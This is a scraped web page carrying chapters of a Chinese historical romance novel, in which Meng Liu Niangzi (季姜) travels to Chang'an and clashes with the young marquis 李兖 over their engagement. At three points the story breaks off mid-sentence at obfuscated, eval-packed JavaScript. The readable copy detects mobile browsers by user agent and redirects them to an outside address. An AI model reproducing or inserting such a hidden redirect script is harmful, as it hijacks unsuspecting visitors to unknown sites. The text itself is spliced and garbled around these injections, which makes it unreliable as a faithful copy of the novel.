不想这样清冷的人会故意找茬儿,季姜眼睛微微睁大,而后理直气壮道:“我这回都回不去了,还要带着那劳什子杏花作甚!” 萧岺不过逗逗她,笑道:“是我愚笨了。” 他也不再避她,捧着那青瓷罐子起身。 “天色不早,那劳烦孟六娘子在这等我片刻,我安顿好阿白就借灯与六娘子下山去。” 季姜早被蚊虫咬得受不了了,闻言立即站起来。 她自然地拿过萧岺手里的青瓷罐子,下巴朝树边抬了抬。 “我给你捧着呢,你放心挖吧。” 说着,她弯腰,一手把罐子抱紧在怀里,一手挑起了灯笼,好叫萧岺看得清楚些。 萧岺深看她一眼,没说什么,低头开始挖坑。 夜深山静,耳畔偶尔划过杏花簌簌声,灯火安稳,身侧夏风卷动两人裙袍,衣带相惜相离。 等萧岺将一切弄完已是一炷香后。 灯笼里的烛火明显有些晃动不安,他随手捡起一段枯枝,平滑的一端递到季姜手里。 “我掌灯走前面,孟六娘子跟在后面吧。” “好。” 下山的路上,风渐渐大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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萧岺抬头,原是已经走了的季姜又折返回来,走过众人时还顺手拿走了孟潇手里的灯笼。 如今,那盏烧得灼热的灯笼在他眼前了。 把燃得正亮的灯笼递到萧岺手里,季姜一笑,有些不好意思道:“瞧瞧,你不开口,我与二哥哥这莽撞的差点都忘了,拿着。” 她笑道:“今日多谢殿下了。” 萧岺垂着眼,她也没要等他说什么,转身走远。 孟潇反应过来,又派了几个侍卫,提灯护送萧岺回大明寺。 “我没想到会变成这样。” “哎呀,我就是好奇嘛,以后再不这样,别气了嗷。” “二哥哥,我错了,以后再不自己一个人出来了.......” 下山的一路,萧岺与季姜其实离得很远,可他耳边就是一直回荡着前面小娘子叽叽喳喳说闹的声音。 这声音绕着萧岺转了一路还不算完,这一夜他睡都没睡好。 临近寅时,大明寺还是一片漆黑,禅房里,一夜无眠的萧岺从床榻坐起身。 屋外既无蛙声也无鸡鸣,黑云遮得严密,窗前光丝毫透不进来,屋里黑静得过分。 少年习惯了这样的环境,唇角自然上扬,那双漂亮的凤眼落在虚空某处,渐渐露出一点隐秘的思索,缓缓溶进晦暗里。 9. 启程,萧岺处境 翌日,正是启程回京的日子。 季姜一早就被毓娘从床上拉了起来。 她原是不必这么早起来的,可她昨夜不知被什么虫子咬过,全身起了红疹,奇痒无比。 昨夜虽擦过一次药却是用处不大,这不,如今才被早早叫起来,要再抹一遍药膏。 季姜抹过药后,正昏昏欲睡地由着毓娘伺候她梳洗,孟潇就端着晨食过来了。 “二哥哥怎么这么早?” 孟潇把托盘放在桌上,在外间的太师椅上坐了。 “这还早?这要是在咱们府里,早两刻前,我都打完拳去给祖母请安完了。” 季姜托腮的手落下来,整个人一下子清醒过来。 现在才卯时二刻啊,再早两刻,天还没亮呢! 她怎么忽然觉得,孟府不像是毓娘三人说的那种有钱没权也没什么大规矩的小姓豪族呢。 晨食孟潇端了两人的份,他也不与季姜客气,自己先拿了个肉包吃起来,边吃还边说:“妹妹昨日怎么跟萧岺在一处?” 昨夜他就想问了,萧岺那样的身世......虽说不出什么大错,可他还是不大想让自己妹妹与他有来往。 “也没怎么,就是我迷路后听到那边有声音就跟过去了,想着有人总比没人好,总能带我下山的,这不一转眼就看到萧岺了。” 季姜故意隐去了遇见李兖的那段。 听昨日那白衣文士的话,今日李兖或许还要捆起来上京呢,若真如此,李兖今日恐怕心情很是暴躁了。 这就要回长安了,那儿可算是李兖的地盘,她与二哥哥何苦再招惹他。 “妹妹以后还是离他远些吧。” 他? 哦,说到萧岺来着。 季姜回过神来,转头看向外间。 “为何?”她问。 孟潇背对着屏风,抬手又咬了口包子,眯起眼来回想。 “这萧岺呢,人是还好,虽说不大爱露面,与其他几位殿下也不温不热的,但平日偶尔遇见,也是明理温和的人,可坏就坏在他的出身上。” 听到这儿,季姜微微蹙眉,有些不解。 孟潇继续道:“萧岺的生母是圣人的陈德妃,乃是南陈宗室出身,当初以郡主的身份和亲而来,这本也没什么,虽说如今南北两地关系有些不好了,可萧岺出生那会儿还是可以的。” 季姜往前倾身,带上几分急切,“那他身世到底怎么了?” 孟潇叹口气,无奈道:“当年的太祖皇帝就是死于南陈人之手。” 十二年前,太祖皇帝领兵南下,却身受重伤,命薄西山。 一代枭雄,就此陨落。 别说魂归故土了,闻太祖身边近臣言,太祖去时似乎都不瞑目。 后来南北划定秉生江为界,维持着表面的平衡。 可从那时起,陈德妃和萧岺的境地算是一落千丈,且一直持续到如今。 季姜听完,呆愣了半晌,才道:“萧岺那时几岁?” “嗯......两岁?或者三岁。” 孟潇与萧岺不熟,不是很清楚他如今岁龄几何。 “那这与他有什么关系?” 季姜不懂。 那么点的小儿,别说记事了,怕是还没断奶吧,怎么也关系不到他身上啊。 孟潇也皱眉,“哎呀所以说,这事根本就没法论,反正这么多年就是这么过来了,妹妹只要记得,离他远些就是了。” 季姜虽还有些难以认同,但她毕竟既不了解长安的事,又只与萧岺见过一次,并不相熟,遂点点头应下了。 “行,那妹妹你慢慢收拾着吧,我去前院瞧瞧去,不要出了什么岔子。” 吃完自己那份晨食,孟潇灌了几口茶水,站起来就快步往外去,边跨过房门还边跟季姜喊话。 “知道了。” 季姜心不在焉地回他。 毓娘看着铜镜里拧眉的小娘子,不由笑道:“六娘子不用多想,左右咱们府上既没有在宫里为妃为嫔的娘子,也没有嫁进宗室的,与宫中没有多繁杂的往来。” “而且,婢子听说这位七殿下从不出宫,长安的饮宴也甚少有人请他,有请的他也甚少露面,六娘子回京后应当不大会见到他的。” 此事的确不是季姜能怎么样的。 她不知该做什么反应,只摇了摇头不再去想。 * 辰时一刻,杏云巷外已经立了四队着金甲持旗的兵卒,但巷口只停了三驾崭新宽敞的马车,其余萧屺几人都是骑在高头大马上。 大晋新立,文臣武将大都是经历过沙场的,他们的后辈,这些长安子弟也多尚武。 比起坐在马车里的柔软颠簸,他们更喜欢策马迎风的飞驰。 几人身后,一个身穿织锦华服、装扮了满头金簪银篦的妇人,正拉着秦兆功眼泪涟涟地叮嘱。 “我的儿,去了长安便不似在家的自在了,我本是不想让你去的,都是你阿耶.......” 刺史夫人王氏说着又拿帕子摸起泪来。 秦兆功左右看看,眼底闪过一丝嫌恶,皱眉道:“哎呀,阿娘,你快别哭了,这么多人呢。” “你懂什么,为娘这是心疼你呢,咱家又不是穷苦破落户,有吃有喝的非读那劳什子书做什么,起早贪黑地苦熬,图个啥啊。” “阿耶让去就去呗,” 秦兆功挥挥折扇,无所谓的样子,“再说我还没去过长安呢,听说那里有个什么康平坊,热闹得紧。” “我儿,阿娘给你包了几块银铤,你若是不够用了再写信回来啊......” 秦兆功更加不耐烦。 “我知道了,你快回吧。” 王氏不肯走,转头又教训起旁边垂首立着的秦二郎,无非是些照顾好兄长之类的话。 前面骑马的几人只作没听到王氏的无知之言。 只有李兖,他坐在马上听了半天,终是忍不住噗嗤一声笑出来,偏头跟朱温策笑道:“头一次听说,阿弟照顾阿兄的呢。” 后面听训的秦二郎抬头朝这边看了一眼,朱温策赶紧给了李兖一记胳膊肘,示意他少说话。 谁知李兖向后一躲,笑得更欢了,尖锐的小虎牙露出来,发尾银饰晃动得欢快。 这种场合,往往大家越安静,他就越憋不住。 孟潇给小厮使了个眼色,那小厮得令往王氏三人那边走过去。 就这一个小动作也被无处寻衅的李小侯爷抓住,他偏头,故意凑近旁边马上的孟潇,一脸真诚笑道:“二郎,你家新亲戚啊?” 孟潇瞪他,“你皮又痒了?” 说起秦家,孟潇心里也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟潇说得认真,李兖问得也认真,两人你一言我一语越说越起劲,全然忘了秦家人就在几步之外,只剩朱温策在旁边恨不得拿布塞了这两个小子的嘴。 “五叔,二......哥哥。” 远远的,季姜欢快喊着,脚步轻盈地跑出来,猛然见到孟潇身边那道红彤彤不容忽视的身影,她伸出去挥动的手顿了一下,然后默默收了回来。 李兖瞬间收了笑,冷着个脸抱臂俯视季姜。 季姜一时僵住了。 宝帘趴耳边道:“娘子别怕,你带着幂篱呢。” 季姜转头,睁大眼睛看她。 “能挡住他的刀吗?” 宝帘道:“输人不输阵嘛,娘子你说的啊。” 季姜“......” 李兖气呼呼的眼神逐渐化成实质的小刀,一记一记戳过来。 朱温策哈哈笑着扯他衣袖,见扯不动,干脆一展广袖把他整张脸都给挡住了。 幂篱的帽裙一直垂到膝下,左右已经撞到人前了,季姜一定心,看也不看他一眼,抬头挺胸领着人饶过几匹马,往巷口的马车走过去。 走远后,她低问:“李兖怎么没被绑起来啊?” 清风送来悄咪咪的说话声,李兖忍无可忍地拍下朱温策雪白的袖子,恼怒又震惊地看过去。 他都暂时不与她计较了,她还这样,是不是存心欺负人?! 萧屺见状,及时开口:“启程!” 10. 洛阳五月 季姜带人上了马车,甫一进去她就看呆了。 宽敞的马车里铺上细毛毡,三边围置着靠枕,中间放一张四腿兽头漆木矮桌,桌面有三碟扬州初夏时兴的山楂软糕,两边的窗上罩了透亮的胧白纱,曦光一照,映出一片细细的柔光。 季姜坐下来,隐隐闻到一阵浅淡香味,她四处看看,好奇的目光最后落在矮桌上。 那里放着个手掌大小的白玉雕游鲤的小香炉。 季姜伸手取来拨开炉盖闻了闻,似松木香,又像是果香,季姜不懂香,只觉得清清淡淡的,并不难闻。 毓娘三人在季姜身边坐定,季姜把香炉递过去。 “毓娘你闻闻,好香啊。” 毓娘接过来拿手扇了扇。 她是孟府的家生子,自入府做事就跟在谢夫人身边,谢夫人出身高贵,对这些都是熟悉的。 毓娘虽没细究去学过,可对这些也算是耳融目染的。 可毓娘细细闻了半晌,还是摇摇头。 “婢子愚笨,这香婢子还真辨不出来,不过香可不能乱用,还是灭了的好。” 季姜无所谓的耸耸肩,身子向后倚在后面软软的靠枕上,还随手拈了一颗蜜饯梅子放进嘴里。 毓娘给香炉里浇过茶水,便随手放去了角落里。 她总觉得这香调得不伦不类,还是不要叫六娘子沾上的好。 宝帘四处瞧着,笑道:“不愧是宫里出来的东西,真是比咱们府上的好了许多。” “这马车是宫里的?” 季姜又扫视一遍马车,忽然想过来,“外面那个穿文士衫的算是个大官喽?” 昨日只听到他说是太子府的。 毓娘笑道:“那个是太子府的朱长史,官阶不算大,但与李小侯爷的关系很是不错。” “看出来了。” 季姜哼一声,“不然怎么说绑就绑,说不绑就不绑了。” “这娘子可猜错了,绑还是要绑的,不过从扬州到长安还要半个月多的车程,若现在绑上那还不得去了小侯爷半条命。” “也是,谁有空一路伺候他呀。” 季姜想着,还是恨恨地往嘴里塞了几颗梅子。 她咂咂嘴,觉得这扬州的梅子可真好吃。 待再伸手去摸果奁时,季姜却蓦然觉得指尖一软。 她垂眸,见果奁下面露出一角柳绿,指尖探出去扯起一角缓缓牵出来。 竟是一方绣帕。 “这......” 季姜还没问出来就想到什么。 这是昨夜她递给萧岺拭泪的那方帕子啊! 那这蜜饯梅子...... “六娘子怎的了?” 映采见她有些愣怔,出声道。 “没怎么。” 季姜摇摇头,收回去拿梅子的手,看向窗外。 队列已经开始向前,马车轱辘压过露湿的青石路,有紫蔷薇爬过临街泛着青苔的白墙,在晨风里微微摇晃。 出了扬州城,季姜忍不住探出窗向后看去,眼底逐渐浮上一丝迷茫。 她不是舍不得扬州,只是心中忽然有些害怕起来。 前面就是长安,集天下风华于一城的长安,她呢,不知道前程,不记得后路。 在长安,她会是怎样的,是飞扬肆意的李兖,还是命运不济的萧岺....... “李兖,比比啊?” 前面孟潇略带挑衅的笑声传来。 “老规矩,输了的一坛东都九酝春。” 晨风送来少年张扬的声音。 “别耍赖啊。” “嘁,追不上就说追不上呗。” * 半月后,一行人终于来到东都洛阳。 时值五月,洛阳天街上樱榴开得正好,夏风拂面处,一阵温柔色,御道接飞桥,通泉顺流渠,绯花落到水面,晃晃悠悠又成一片。 飞桥上,红衣少年肩扛长刀,刀上挑着三壶九酝春,正大摇大摆往洛阳刺史府走。 刺史府偏堂里。 萧屺几人刚吃过晨食,正聚在一处吃茶。 打了这么多年仗,茶都算雅物了,可孟潇就不喜茶,只端了杯温水。 先开口问道:“昨日下面的不是说太子殿下在洛阳吗?” 朱温策道:“是在洛阳呢,不过没住在刺史府,应是住到南边的净土寺里了。” 孟潇随意点点头,“太子殿下不是因公务来洛阳的?” 太子乃储君,行踪是不能随意探听的,只大家都太过相熟,孟潇又素来是直爽性子,这话他问出来那就是随便闲谈罢了。 可萧屺闻言喝茶的手还是顿了顿,抬眼瞥向朱温策。 萧岺则还是安静垂着眼,似是全然没听见。 堂内本就安静,这一下更是针落可闻。 孟潇也反应过来,靠在椅背的身子直起来,嗫嚅着要找补点什么。 “呃......” 朱温策安抚地笑道:“太子那点喜好你们还不知道嘛,他就是来洛阳鉴画的,听说过几日是太子妃生辰,他要作一幅什么……洛阳富水图,给太子妃当生辰礼。” 要说北地的繁华,那自然是长安为最,可要数北地风光,洛阳乃是首位。 尤以五月樱榴初开的洛阳为最佳,太子擅丹青,又喜好书画刻字,几乎每年都要来一趟。 萧屺笑着打趣,“三哥真是为着三嫂?我可记得三嫂的生辰在秋日里呢,如今不过初夏吧。” 朱温策也笑,“左右咱们太子殿下就是这么说的。” 这又是太子找的借口了。 朱温策这样说,孟潇也放松下来,“我倒是都忘了殿下喜好丹青。” “话说回来,” 萧屺放了茶盏,转头逗孟潇,“这东都五月的九酝春可是最难买的,你怎么给阿驷那小子买到的?” 说起这个,孟潇有些垂头丧气起来。 “这有什么,不过派了人去玉琼坊等着,另再多出些银子罢了,只求能让他安安生生过了这两日到长安吧。” “这恐怕难。” 朱温策在旁边悠悠笑道:“那小子可憋着气呢,他现在早不是燕郡王府那个皮猴了,怎么打都不服,圣人和李侯爷都快愁死了。” 孟潇道:“原本只圣人和李侯爷愁,再不就是东观堂的陈夫子,如今倒好,我阿耶也要愁死了。” 老兄弟几个,李兖自己祸害一半,也不怪陈夫子气得骂他‘朽木难雕,顽石性也。’ 正说着,有小厮从外面急急跑进来。 “李小侯爷回来了。” 萧屺笑道:“说曹操曹操到。” “我先走一步了。” 孟潇闻言当即起身往外走去。 堂里三人坐着。 只听外面一阵繁杂的脚步声,继而响起一句笑音。 “哎,哪儿去啊?” 得,被小祖宗逮个正着。 萧屺与朱温策撑着头,笑得乐不可支,连一向淡淡的萧岺也弯了弯唇角。 再一抬头就见李兖扯着不情不愿的孟潇走进偏堂来。 把孟潇摁回座椅上。 李兖一转身,脚踩上中间的矮凳,把扛在肩上的长刀转下来。 极尽招摇的珍珠鱼皮刀鞘,挑着三个圆滚滚的白瓷酒坛,他手上力道稳健,可酒坛还是不免叮当撞在一起。 “看看,都好好看看。” 李兖得意的挑着酒壶。 朱温策轻斥:“几坛子酒有什么好看的?” “哎,话可不是这么说的,这可不是一般的酒,” 他一脸认真却掩不住炫耀,“这可是孟二郎输给我的酒,三次。” 他笑着重点强调,“三次。” 要是李兖有尾巴这会儿就该翘起来了。 孟潇终于看不下去,“我要是仔细习武,咱俩不定谁赢谁输呢。” “哦?那.....” 李兖瞥他一眼,笑道:“二郎你继续努力?” 知道口舌争不过李兖,孟潇干脆一咬牙,别过头去不再看他。 李兖得意地翘腿坐在太师椅上。 “尝尝吧,哥哥们?上好的九酝春呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514243|170608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁家大早上的喝酒。” 孟潇起身剜了李兖一眼,转身就走。 李兖这会儿心情不错,随便挥了挥手。 “别气馁啊,二郎,再接再厉。” “差不多得了啊,别做得太过分,没完没了的。”萧屺出言。 李兖本是闭眼瘫在椅子上的,闻言立马睁开眼,眉眼浮上恼怒,又隐隐夹杂着一丝委屈。 “谁过分?我过分?!我......” 他气得跳起来。 “我自打离了长安可真是脾气见好了,就孟家这事憋在我心里,快要憋死我了,你们,你们是我兄长,不说向着我便罢了,如今倒好,反倒呵斥起人来了。” “不是要呵斥你,只是......” “只是什么?别跟我说那些狗屁规矩,我不乐意听,你们要是不愿看我,趁早给我扔回燕北去,我还不受这窝囊气了!” 李兖就像个炸毛的小狮子,吼完就跑。 他憋气憋得久了忽然炸毛,倒把众人唬了一下。 “哎......”朱温策喊他。 喊到一半就见这小狮子又折返回来。 “阿驷......” 李兖看都不看三人,抱起自己的酒转身就走。 * 孟潇出来偏堂后,穿过长廊,迎面就看到季姜正坐在后院的凉亭里,旁边还坐着她那两个女使,三人不知道又在吃什么,堆了满桌的碗盘。 毓娘呢,正站在旁边孜孜不倦地给季姜讲孟家。 明日启程后,还有两日就到长安,可季姜对孟家人完全不熟悉,孟家大小主子们不少,性情更是各异。 凭身份毓娘本不该多话,可经过这两月的相处,她打从心底里爱季姜,便想多护她两分。 可这画面落在孟潇眼里便不同了。 他就是孟家的主子,怎容毓娘这样的下人说三道四。 “你们做什么呢?” 孟潇僵冷的声音在后面响起。 季姜没听出他的不对劲,回头笑道:“二哥。” “你们说什么呢?” “毓娘在给我......” 衣袖忽然被人扯了一下,季姜这才察觉孟潇脸色不对。 她顿了顿,改口道:“毓娘在给我们说长安时兴的装束。” “那我怎么听到都谈起七妹妹了?”孟潇话说得意有所指。 季姜有些僵硬地笑道:“说装束嘛,自然谈及家中姊妹,倒是二哥哥,怎么关心起这些?” 看妹妹被吓到的模样,孟潇缓了口气,微微笑道:“没什么,你们说吧,我回院子。” 从毓娘身边擦肩而过,毓娘紧低着不敢头。 孟潇盯了她一眼才擦肩走远。 季姜呆呆看着孟潇越走越远的背影,有些反应不过来。 她很清楚自己是有几分机灵狡猾,对上李兖这样一来便注定敌对的人她可以毫不手软地收拾他,可自从与孟潇见面后,她对这位二哥从来都是真真切切的。 可方才......孟潇...... 季姜什么都不记得,她的人生经历是空白的,很多事旁人不说,她是无法像别人一样凭经历去判断的。 比如现在,她完全不知道孟潇为什么忽然冷脸。 “是婢子的错。” 季姜正懵着,就听毓娘忽然说了这样一句话。 “什么?” “婢子不该道主人是非,婢子死罪。”她说着就要跪下去请罪。 映采立刻站起来,旁边还吃着糕饼一脸懵的宝帘也被拽起来。 糕饼掉在地上,沾了灰土。 “等等。” 季姜本能地扶住毓娘。 她迅速眨了眨眼,眼底的迷茫才消散了点。 深吸一口气,季姜才道:“咱们说错话了对吗?” 毓娘摇头“是婢子错,六娘子没错。” 季姜不知听没听到,只说:“那咱们以后不说了就是。” 这一通下来,季姜也没了玩乐的兴致,索性早早回了院子,一整天都没有再出来。 11. 大晋长安 长安南傍秦岭,北系渭水,乃前朝旧都,乱世里几次易主,凡在中州称帝者必以长安为都城。 大晋自然也不例外。 晨起,五更二刻,熹光微微,夏风习习。 自太极宫正门承天门敲响第一鼓,随后各条大街和各个坊间及寺院的钟鼓依次响起。 钟鼓叫早,长安一百零八坊坊门大开。 朱雀大街上,两匹飞马踏踏驰过。 马上两人皆着时兴的流锦宝相花纹圆领袍,腰间坠着三四荷包和青白玉佩,一路风风火火、玲玲当当地往城门方向驰去。 杨景荐不爱骑马,这会儿在马上被颠得歪歪扭扭的。 “他们又不连夜赶路,咱们哪用得着这么早,还有这马,你从哪儿淘来的,颠死我了。” “咱们可答应了阿驷的,等他‘凯旋’咱们就去城门迎他,这事宜早不宜晚,万一他还有事要咱俩帮忙呢。” 说话的是窦方宝,他身材白胖,可马骑得比杨景荐稳当了不知几倍。 “我真是上了你的当了,孟五怎么不来?这还是他兄长和妹妹呢。” “是不是今儿起得太早,你脑子还没缓过来啊,孟五跟咱们是一伙儿的,可他也姓孟,当初没拦李兖已经是孟五放水了,现在还来,怎的,他要改姓啊?” 杨景荐揉揉鼻子,不再做声。 这事说起来他也有点心虚,没别的,就冲他与阿知的关系,放李兖去祸害她胞妹,这事儿...... 但话又说回来了。 阿知的胞妹若真许给李兖,那也是一种祸害不是? 毕竟李兖那性子,不是一般人可以忍受的,而且还要忍一辈子。 只苦恼了一瞬,杨四郎君就给自己找到了心安的理由。 城门就在眼前,窦方宝早跟城门校尉打了招呼,两人翻身下马直接往城楼上跑去。 * 与此同时,长安外的官道上,马车平稳驶向前面长安城门,季姜半个身子探到马车窗外。 官道上不乏有百姓挑着扁担进城,她一个接一个的看,哪个都不肯放过,似乎看什么都有意思。 五月的风不温不燥,混着淡淡的阳光落在小娘子圆润可爱的脸上,她单薄的柳绿衣衫随风飘动,轻盈如絮,随着摆头的动作,两个黑油油小发角上缠绕的碧绿丝绦也飞舞起来。 后面骑马的朱温策见了直笑。 “你说,这孟六娘子也算是在官家长大的小娘子,怎么性情也这样跳脱?” 旁边萧屺笑道:“跳脱?不是都说她身子病殃殃的嘛,这也跳脱得起来?” “再病也还是个十岁的孩子嘛,”朱温策抬抬下巴,“你瞧。” 前面小娘子跟她那个胖乎乎的小女使一起,两人正伸出手来抓飞絮呢。 萧屺见此却有些发愁起来。 “那麻烦了,阿驷就是个跳脱性子,若是如此,这两人恐怕不大相配了。” “他们不是已经不对付了吗?那还有什么要紧?” 朱温策年及弱冠,比他们都大,看得也更明白,“而且,未必不相配吧,热热闹闹的,多好。” 萧屺沉浸在担心里无法自拔:“好在年纪不大,都可以教,而且还有谢夫人在,更不怕教不好。” 朱温策闻言只一笑,却是不再聊这个,反而转头盯着萧屺。 “怎么了?” 萧屺被他盯得发毛。 “我记得殿下你今年也不过才十六吧,怎么这样......老成呢。” 萧屺一甩马鞭,“哼,你懂什么,入了行伍就没有不熟的,你不熟就等着被那些老油子们吃干抹净,” “行伍里都是拿命办事的,是人就这一条命,真到战场上,落下来的大刀可不会管你是什么宫什么殿的,你不熟,不熟就等死。” 朱温策被他说得一愣一愣的。 人都往前去了,他才撇嘴道:“说得跟谁没在军营里待过似的。” 此时的季姜还不知道自己这幅样子在别人眼里有些过分活泼,更不会知道这份活泼很快就要熄灭了。 她这会儿正玩得高兴。 宝帘玩累了,靠在一边的车壁上,托着腮看自家娘子。 “马上就回家了,六娘子开心吗?” “开心啊,宝帘不开心吗?” 季姜缩进身子来,捏了捏宝帘与她同款的发角,这可是毓娘给她们梳的。 “娘子开心,那我也开心。” 两个小娘子没开心多久,外面就来人请了。 听到是李兖身边的人来请,季姜愣了一下,她与宝帘对视一眼,刚要起身就被人摁了回去。 宝莲仰着下巴,一脸严肃,“娘子莫慌,婢子去。” 宝帘雄赳赳气昂昂一把掀开垂帘,只一眼她就放下垂帘,又怯怯缩了回来。 “......怎么了?” 季姜笑着掀开垂帘,看出去。 马车旁站了个生得漆黑长得山壮的半大少年,季姜见过他,是那两个燕北人里年少的那个。 “何事?” “嗯......那个,我家十四郎有话跟您说,六娘子能不能去见见?” “不能。” 季姜嗓音温柔,拒绝果断,动作更是麻利,直接放下了垂帘。 哥舒拉住垂帘,皱眉道:“六娘子就去一趟吧,您不去十四郎不肯上绑,免不了又要闹腾人了。” “闹腾谁?” 若是闹他自己身边的人,那与她何干? 哥舒没反应过来,只远远见那边闪过一个红影,他急道:“肯定会闹到六娘子这里的。” 季姜扯过他手里的车帘,语气还是温和,只细眉紧蹙起来。 “你们直接绑他好不好?左右他都不会安分了,直接绑了岂不更省事?” “可那是十四郎啊。” 哥舒为难。 季姜张了张嘴,却觉无话可说,若非这帮人护着帮着宠着,李兖也不至于这么张狂无度。 如今可好,连捆一下都不行了? 而且,非得在别人高高兴兴的时候过来是吧!只图自己舒心快意是吧! 怎么会有这么贱的人啊! 季姜越想越气,一把扯开车帘,跳下马车就往后面绑李兖的地方走过去。 一队的兵卒连带着萧屺几人还没反应过来,就见一道娇小身影风风火火走过去,直奔队伍最后而去,沿途还扯了几个孟家的侍卫。 “来了?” 李兖靠坐在最后一驾马车的后面,一只腿曲着,一只腿垂在马车下面,吊儿郎当地晃来晃去。 “说。” 季姜站在他面前,神色冷淡。 “退婚。” 李兖也很干脆。 他跳下来,半大的少年身子尚未长成,可与季姜孱弱的身子相比,已经足够引起震慑。 指了指季姜又指了指自己,李兖昂着头理直气壮道:“你,叫孟詹山,去圣人面前退了你我的婚事。” 季姜没被他吓住,只攥攥拳头,忍耐地闭了闭眼。 这事,他不去求圣人,不去磨李侯爷,偏就在这儿跟她杠上了,还不止她,五姐姐不是已然被逼得退让了。 李兖这狗东西,只顾着自己行事痛快却半点不管旁人。 那总不能只叫她们姊妹受罪吧。 他想退婚? 他想退婚! 他想都别想啦! 她还偏就不了呢。 有本事,他就继续去长安,去圣人眼皮子底下折腾去。 季姜想着,眼底的气愤已经憋不住了,本就圆圆亮亮的杏眼这会儿都染上一层水润。 李兖被她盯得不舒服,瞥她一眼,凶道。 “小爷说话你听到没?” “小侯爷想退婚?”季姜温语。 “废话。” “可我觉得,这婚事很不错呢。” 季姜抬头直视李兖,唇角笑意明媚。 看着她,李兖愣了下,继而暴怒,“孟昭妗,你敢,你要是敢应了这桩婚事,我有的是法子叫你在长安待不下去,你......” 季姜没给李兖继续口吐狂言的机会,直接挥挥手叫来孟家侍卫。 道:“堵上他的嘴,现在立刻马上。” 李兖不敢置信地盯着季姜,等他反应过来时已然晚了,两只手已经都被孟家侍卫抓住了。 他扭身挣扎着,还不忘瞪着面前的季姜,目光好像要把她灼出个洞来。 然而季姜这次也是铁了心要与李小侯爷碰一碰,哪怕心中再怕,面上也不露分毫。 李兖重重哼着要往季姜这边扑。 季姜慢慢后退一步,洁白无瑕的脸上盈满笑意。 “我久病身子弱,手上也没力气,不能亲自给小 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萧岺睁开眼,眸色淡淡道:“阿驷怎么在这里?” “哦,殿下方才睡着了,小侯爷说咱们在队伍最后,怕出什么事,过来看看,” 慈安挠挠头,“不知道怎么小侯爷竟然没回前边,反倒压在队伍后面跟着了。” 许久没有声音,慈安朝一旁靠坐的人看去。 只见殿下面色如常只是又合上了眼,仿佛没听见他的话一般。 * 长安城楼上,窦方宝趴在城墙边眺望。 杨景荐坐在城墙下,他嫌晒,又没带小厮,只好自己打着折扇给自己遮阳。 “哎哎哎,来了来了。” 窦方宝拍打着旁边的人,兴奋喊道。 “看见了,看见了。” 杨景荐看着楼梯上正往上爬来的良患,和他身后跟着的一帮内侍和侍卫,心不由得提了提。 “你都没回过身来,看得哪门子见啊,咦?阿驷怎的被绑上了?这......” 窦方宝犹自念着。 杨景荐抓住拍打自己脸的长袖,使劲扯了扯。 “你拽我干啥,你看那儿啊.....” “别看了……” “哟,今儿这长安城吹得什么宝风啊,把您两位小爷都吹到这处来了?” 良患登上楼来,一甩手上的拂尘,眯眼往四处望了望。 窦方宝登时身子一僵,脖子僵硬的转过来,看向杨景荐。 杨景荐只是轻微摇头,眼神示意他,自己也不知道怎么回事。 两人推推搡搡半天,到底将素来能说善道的杨景荐推向前半分。 “这不是良大内侍吗?这不是巧了吗?” 杨景荐强笑着,起身走过去。 “怎么,良内侍奉圣人命来接阿驷啊?我们也来接阿驷的。” “是吗?那奴婢和两位小爷可不一样,” 良患走到城墙边上,倾身朝下边那对人马望了望。 “奴婢啊,是来押小侯爷进宫的。” “押?!” 窦方宝惊了一刹,看向杨景荐:“他说押......” 没等窦方宝再说什么,杨景荐已经一把楼上他的肩,手死死捂上他的嘴。 良患恰时回头,“哎,两位郎君刚说来干什么的?接......” “不是,” 杨景荐迅速道,他舔了舔唇,结巴道:“我们……就是来看看……看李兖绑得紧不紧,实不实靠,” “对,你也知道,他嘛,他那个性子,不肯屈服的,所以我们就是来看看。” 他说着猛扯窦方宝的衣袖。 窦方宝反应过来,立马找补,“啊,对,我们就是来看一眼,看......能不能帮上圣人的忙。” “那您二位这会儿看完了吧?” “完了,完了,早看完了,” 杨景荐僵笑着,“这.....他又不是什么稀罕人物,都在城里住着,抬头不见低头见的,早看完了。” “那您.....” “哦,这就走,这就走,我们这就走了,家里马还没喂呢。” 杨景荐说着,扯着胳肢窝底下的窦方宝就往楼下走。 12. 萧岺心刺 这也怪我? 两人连跑带跳地下了城楼,杨景荐转身去解系在柳树上的马,动作慌得不得了。 窦方宝拉住他,“咱们就这么走了?阿驷不管了?” “要管你管啊,我是不敢,那不是李侯爷,那是圣人啊,我老子要知道咱们闹到了圣人面前,他得八百里加急回来抽死我,” 杨景荐边解马边问他,“怎么,上次陈令九罚的《仪礼》你都抄完了?” 窦方宝一凛,立马回道“走。” 骑上马,窦方宝转过圆滚滚的身子朝城门外望了一眼,咋舌道:“你说他犯什么事了?这都给上绑了。” 他们几人在长安城里向来是大祸没有小祸不断,只要不闹到宫里去,圣人向来是睁只眼闭只眼也就过去了。 更不用说那是李兖。 圣人舍不得罚他,皇后娘娘更是拿他比待太子和九殿下还好。 捆那么结实,这得是犯了什么事啊...... “哎,” 窦方宝忽然觉得自己猜中了什么,看向杨景荐,“哎你说.....他不能杀人了吧?” 他越想越对,瞪大眼道:“他把孟六杀了!?” 两人说话声音不小,杨景荐往四处看看,捶了把窦方宝滚圆的肚子。 